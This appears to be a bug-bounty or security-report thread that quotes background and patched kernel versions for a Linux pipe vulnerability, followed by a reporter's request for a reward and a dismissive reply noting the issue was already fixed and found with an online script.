Additional Information

##Background of Vulnerability
Max came to know of the vulnerability after he tried to resolve unprecedented CRC errors in access logs. Many consumers of cm4all.com were reporting that monthly access logs, even though downloadable, couldn’t be decompressed and were throwing errors. Max explains in his post how he has used the Z_SYNC_FLUSH mechanism along with splicing to concatenate daily log files into monthly ZIP archives available to be downloaded over HTTP. Upon closer examination, he reached the root problem.

##Mitigations
The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.

Thanku for your response
But, I reported now. i reported first this issue of kali Linux versions.
Latest versions takes times.
that means, you need to at least monetary reward or hall of fame, as like anything that appreciates security researcher to report vulnerabilities in Future.

Thanks,

You reported a known issue that was already patched days ago and you expect a monetary reward? For using an automated script that you found online?
You have to be kidding.
